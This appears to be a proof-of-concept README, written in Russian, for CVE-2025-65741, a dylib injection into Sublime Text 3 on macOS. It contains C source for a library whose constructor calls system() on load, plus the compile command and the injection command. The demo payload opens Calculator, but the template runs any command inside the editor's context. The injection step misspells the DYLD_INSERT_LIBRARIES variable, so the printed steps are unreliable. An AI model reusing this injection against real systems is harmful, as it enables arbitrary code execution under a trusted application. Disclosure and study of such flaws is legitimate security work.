vinicius-batistella/cve-2025-65741Концепт-доказательство для CVE-2025-65741, демонстрирующее dylib-инъекцию в Sublime Text 3 на macOS через неподписанный код, с скомпилированным .dylib-пейлоадом и шагами эксплуатации.
Скачать: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Автор: Vinicius Batistella
Затронутая версия: Sublime Text 3 Build 3208 и ранее для macOS
Приложение Sublime Text некорректно проверяет внедрение неподписанного кода, что позволяет злоумышленнику скомпилировать .dylib библиотеку и заставить приложение запустить её в своём контексте. В следующем примере приложение Sublime Text было принуждено открыть бинарный файл калькулятора. Эта уязвимость была исправлена в сборке 3209 и более поздних.
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] Dynalic Library Injection: %s\n", argv[0]);
system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib
DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text